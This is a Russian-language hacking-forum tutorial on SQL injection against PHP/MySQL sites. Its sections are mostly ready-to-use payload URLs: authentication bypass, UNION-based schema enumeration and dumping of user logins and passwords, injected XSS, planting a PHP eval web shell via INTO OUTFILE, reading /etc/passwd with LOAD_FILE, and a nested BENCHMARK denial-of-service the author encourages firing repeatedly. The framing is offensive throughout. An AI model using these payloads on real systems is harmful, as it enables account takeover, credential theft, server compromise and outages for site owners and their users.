Авторские статьи - SQL injection полный FAQ | Форум АНТИЧАТ

:

1. КАК НАЙТИ SQL INJECTION
Как вы поняли выше SQL иньекция может возникать в местах где есть какие либо входящие параметры, будь то номер новости/статьи которую вы хотите увидеть на сайте, либо анкета голосования, вообщем любой параметр получаемый от пользователя. А возникать она будет тогда, когда этот параметр не фильтруется должным образом.

Уяснив эту мысль, вы поймете что найти SQL иньекцию очень просто. Надо вставлять во все поля, переменные и куки одинарные и двойные кавычки.

1.1 Первый случай (Строковой входящий параметр)

Начнем с вот такого скрипта http://xxx/news.php?id=1. Предположим что оригинальный запрос к БД выглядит так:

Code:

SELECT * FROM news WHERE id='[COLOR=DarkOrange]1[/COLOR]'
Теперь мы допишем кавычку в переменную "id", вот так http://xxx/news.php?id=1'
И, если переменная не фильтруется, наш запрос к БД будет выглядеть так:

Code:

SELECT * FROM news WHERE id='[COLOR=DarkOrange]1'[/COLOR]'
Здесь мы видим нарушение синтаксиса и логики SQL запроса, и, в итоге, БД не сможет правильно обработать подобный запрос.

Если включены сообщения об ошибках то вылезет что то наподобие:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

Если отчет об ошибках выключен то в данном случае можно определить наличие уязвимости вот так (Также не помешало бы это, что бы не спутать с пунктом 1.2. Как именно описанно в этом же пункте): http://xxx/news.php?id=1' -- То есть запрос к БД станет вот таким:

Code:

SELECT * FROM news WHERE id='[COLOR=DarkOrange]1' -- [/COLOR]'
(Для тех кто в танке “--“ это знак начала комментария все после него будет отброшено, еще хочу обратить ваше внимание на то что после него должен быть обязательно пробел(Так написано в документации к MYSQL) и кстати перед ним тоже).
Таким образом для MYSQL запрос остается прежним и отобразиться тоже самое что и для http://xxx/news.php?id=1
Тому что делать с этой уязвимостью посвящен весь пункт 2.

1.2 Второй случай (Числовой входящий параметр)

Вернемся к скрипту новостей. Из языка SQL мы должны помнить, что числовые параметры могут( могут - ключевое слово, так как ни что программисту не мешает использовать параметр с ковычками) не обрамлятся кавычками, то есть при таком обращении к скрипту http://xxx/news.php?id=1 запрос к БД может(!) выглядеть вот так:

Code:

SELECT * FROM news WHERE id=[COLOR=DarkOrange]1[/COLOR]
Обнаружить эту иньекцию также можно подстановкой кавычки в параметр 'id' и тогда мы увидим сообщение об ошибке:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

Если этого сообщения нет то есть три варианта:

  1. Кавычка фильтруется
  2. Отключен отчет об ошибках
  3. Здесь нет иньекции
Чтобы определить то, что кавычка фильтруется, можно вписать http://xxx/news.php?id=1 blablabla
БД не поймет шо это за бла бла бла и выдаст сообщение об ошибке типа:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1 blablabla'

Если отчет об ошибках выключен тогда проверяем вот так http://xxx/news.php?id=1 --
Должно отобразиться точно также как и http://xxx/news.php?id=1

1.3 Третий случай (Авторизация)

Что делать если в том же скрипте авторизации отсутствует проверка на кавычку? Имхо будет как минимум глупо использовать эту иньекцию для вывода какой нибудь информаци. Пускай запрос к БД будет типа:

Code:

SELECT * FROM users WHERE login='Admin' AND pass='123'
К сожалению пароль '123' не подходит :) , но мы нашли иньекцию допустим в параметре 'login' и что бы зарегистрироваться под ником 'Admin' нам нужно вписать вместо него что то наподобие этого Admin' -- то есть часть с проверкой пароля отбрасывается и мы входим под ником 'Admin'.

Code:

SELECT * FROM users WHERE login='[COLOR=DarkOrange]Admin' -- [/COLOR]' AND pass='123'
А теперь что делать если уязвимость в поле 'pass'. Мы вписываем в это поле следующее 123' OR login='Admin' -- . Запрос станет таким:

Code:

SELECT * FROM users WHERE login='Admin' AND pass=[COLOR=DarkOrange]'123' OR login='Admin' -- [/COLOR] '
Что для БД будет совершенно индеинтично такому запросу:

Code:

SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin')
И после этих действий мы станем полноправным владельцем акка с логином 'Admin'.

1.4 Четвертый случай (Оператор LIKE)

В SQL есть оператор LIKE. Он служит для сравнения строк. Вот допустим скрипт авторизации при вводе логина и пароля запрашивает инфу из БД вот так:

Code:

SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123'
Даже если этот скрипт фильтрует кавычку то все равно он остается уязвимым для инъекции. Нам нужно вместо пароля просто ввести "%" (Для оператора LIKE символ "%" соответствует любой строке) и тогда запрос станет

Code:

SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%'
и нас пустят внутрь с логином 'Admin'. В этом случае мы не только нашли SQL injection но и успешно ее использовали.

Теперь можно переходить к пункту 2.

2. ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ

Дальше будет рассматриваться только тип уязвимости описанный в пункте 1.1, а переделать под остальные сможете сами, это не трудно :)

2.1 Команда UNION
Cамое полезное, в нашем случае, это команда UNION (кто не знает лезть в гугл )...

Если в двух словах, то она объеденяет два запроса в один. И это очень полезно, так как вы сможете указать практически полностью свой запрос к БД, к примеру вывести информацию из любой таблицы.

Модифицируем обращение к скрипту http://xxx/news.php?id=1' UNION SELECT 1 -- . Запрос к БД у нас получается вот таким:

Code:

SELECT * FROM news WHERE id=[COLOR=DarkOrange]'1' UNION SELECT 1 -- [/COLOR] '
2.1.1.1 Подбор количества полей (Способ 1 - Оператор UNION)

Дело в том, что количество столбцов до UNION и после должны соответствовать, и, наверняка, вылезет ошибка (если только в таблице news не одна колонка) типа:
mysql_query(): The used SELECT statements have a different number of columns

В данном случае нам нужно подобрать количиство столбцов (что бы их количество до UNION и после соответствовало). Делаем это так:

http://xxx/news.php?id=1' UNION SELECT 1, 2 --
Ошибка. « The used SELECT statements have a different number of columns»

http://xxx/news.php?id=1' UNION SELECT 1,2,3 --
Опять ошибка.
...

http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 --
О! Отобразилось точно также как и http://xxx/news.php?id=1
значит количество полей подобрано, то есть их 6 штук…

2.1.1.2 Подбор количества полей(Способ 2 - Оператор GROUP BY)

А этот способ основан на подборе количества полей с помощью GROUP BY. То есть запрос такого типа:
http://xxx/news.php?id=1' GROUP BY 2 --

Будет отображен без ошибок если количество полей меньше или равно 2.
Делаем запрос такого типа:
http://xxx/news.php?id=1' GROUP BY 10 --

Упс... Появилась ошибка типа.
mysql_query(): Unknown column '10' in 'group statement'

Значит столбцов меньше чем 10. Делим 10 на 2. И делаем запрос
http://xxx/news.php?id=1' GROUP BY 5 --

Опа! Ошибки нет - значит количество столбцов больше либо равно 5 но меньше чем 10. Теперь берем среднее значение между 5 и 10 это получается вроде 7. Делаем запрос:
http://xxx/news.php?id=1' GROUP BY 7 --

Ой, опять ошибка... :(
mysql_query(): Unknown column '7' in 'group statement'

Значит количество больше либо равно 5 но меньше чем 7. Делаем еще один запрос
http://xxx/news.php?id=1' GROUP BY 6 --

Ошибок нет... Значит число больше либо равно 6 но меньше чем 7. Отсюда следует что искомое число столбцов 6.

2.1.1.3 Подбор количества полей(Способ 3 - Оператор ORDER BY)

Тот же самый принцип что и в пункте 2.1.1.2 только используется функция ORDER BY. И немного меняется текст ошибки если полей больше.
mysql_query(): Unknown column '10' in 'order clause'

2.1.2 Определение выводимых столбцов

Я так думаю что многим из нас точно такая страница как и http://xxx/news.php?id=1 не устроит. Значит нам нужно сделать так чтобы по первому запросу ничего не выводилось (до UNION). Грубо говоря, нужно отсечь вывод с первого запроса.

Проще всего поменять "id" с '1' на '-1' (либо на '9999999'):
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 --

Или добавить ложное условие:
http://xxx/news.php?id=1' AND 1=0 UNION SELECT 1,2,3,4,5,6 --

Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. (Например так как это условно скрипт новости то в «Название новости» будет отображенно допустим 3, «Новость»-4 ну и тд). Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции. Если цифры не отобразились нигде, то вероятнее всего вывод отсутствует и остальные подпункты пункта 2.1 можно пропустить.

2.1.3 SIXSS (SQL Injection Cros Site Scripting)

Эта таже XSS, только проводится она через запрос к базе. Пример:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<script>alert('SIXSS')</script>',5,6 --Ну думаю понять не трудно что 4 в странице заменится на <script>alert(‘SIXSS’)</script> и соответственно получится таже XSS.

2.1.4 Названия столбцов/таблиц

Если ты знаешь названия таблиц и стобцов в БД этот пункт можно пропустить
Если не знаешь… Тут два пути.

2.1.4.1 Названия столбцов/таблиц если есть доступ к INFORMATION_SCHEMA и если версия MYSQL >=5

Таблица INFORMATION_SCHEMA.TABLES содержит информацию о всех таблицах в БД, столбец TABLE_NAME - имена таблиц.
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- Вот тут может появится проблема. Так как будет выводится только первая строка из ответа БД. Тогда нам нужно воспользоваться LIMIT вот так:

Вывод первой строки:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 --

Вывод второй строки:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --и т.д.

Ну вот мы и нашли таблицу Users. Только это... кхм... стобцы не знаем... Тогда к нам приходит на помощь таблица INFORMATION_SCHEMA.COLUMNS столбец COLUMN_NAME содержит название столбца в таблице TABLE_NAME. Вот так мы извлекаем названия столбцов.
http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 0,1 --

http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 1,1 --
и т.д.

И вот мы нашли поля login, password.

2.1.4.2 Названия столбцов/таблиц если нет доступа к INFORMATION_SCHEMA

К сожалению тут в силу вступает обычный брутофорс... Пример:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM Имя_таблицы --

Нужно подбирать Имя_таблицы до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query(): Table 'Имя_таблицы' doesn't exist

Ну ввели мы, к своему счастью, Users, пропало сообщение об ошибке, и страница отобразилась как при http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- что это значит? Это значит то, что существет таблица Users и нужно приступить к перебору столбцов.
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,Имя_столбца,5,6 FROM Users --

Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query():Unknown column 'Имя_столбца'' in 'field list'

Там где пропадает сообщение об ошибке значит такой столбец существует.

И вот таким образом мы узнали что в таблице Users есть столбцы login, password.

2.1.5 Вывод информации

Обращение к скрипту таким образом http://xxx/news.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 0,1 -- Выводит нам логин и пароль первого юзера из таблицы Users.

2.2 Работа с Файлами
Сервер MYSQL подерживает работу с файлами. Да, она несколько ущербная, но это вам не файловый менеджер. Для работы с файлами у текущего юзера должны быть права на это то есть FILE_PRIV.

2.2.1 Запись в файл

Есть в MYSQL такая интересная функция типа SELECT … INTO OUTFILE позволяющая записывать информацию в файл. Либо такая конструкция SELECT ... INTO DUMPFILE они почти похоже и можно использовать любую.

Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt' --

Для нее работает несколько ограничений.

  • Запрещенно перезаписывание файлов
  • Требуются привилегии типа FILE
  • (!)Обязательны настоящие кывычки в указании имени файла

А вот что бы нам мешало сделать веб шел? Вот например так:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php' --

Остается только найти полный путь к корню сайта на сервере и дописать его перед 1.php. Врипринципе можно найти еще одну ошибку по отчету которой будет виден путь на сервере или оставить в корне сервера и подцепить его локальным инклудом, но это уже другая тема.

2.2.2 Чтение файлов

Рассмотрим функцию LOAD_FILE

Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,LOAD_FILE('etc/passwd'),4,5,6

Для нее есть также несколько ограничений.

  • Должен быть указан полный путь к файлу.
  • Требуются привилегии типа FILE
  • Файл должен находится на одном и том же сервере
  • Размер данного файла должен быть меньше указанного в max_allowed_packet
  • Файл должен быть открыт для чтения юзером из-под которого запущен MYSQL

Если функции не удастся прочитать файл то она возвращает NULL.

2.3 DOS атака на SQL сервер

В большинстве случаев SQL сервер досят из-за того что больше ничего сделать не могут. Типа не получилось узнать таблицы/столбцы, нет прав на это, нет прав на то и т.д. Я честно говоря против этого метода но все таки...

Ближе к делу…
Функция BENCHMARK выполняет одно и тоже действие несколько раз.

Code:

SELECT BENCHMARK(100000,md5(current_time))
То есть здесь эта функция 100000 раз делает md5(current_time) что у меня на компе занимает приблизительно 0.7 секунды... Казалось что здесь такого... А если попробовать вложенный BENCHMARK?

Code:

SELECT BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))
Выполняется очень долго честно говоря я даже не дождался... пришлось делать reset :).

Пример Доса в нашем случае:
http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time))), 4, 5, 6 --

Достаточно раз 100 потыкать F5 и «сервер упадет в беспробудный даун» ))).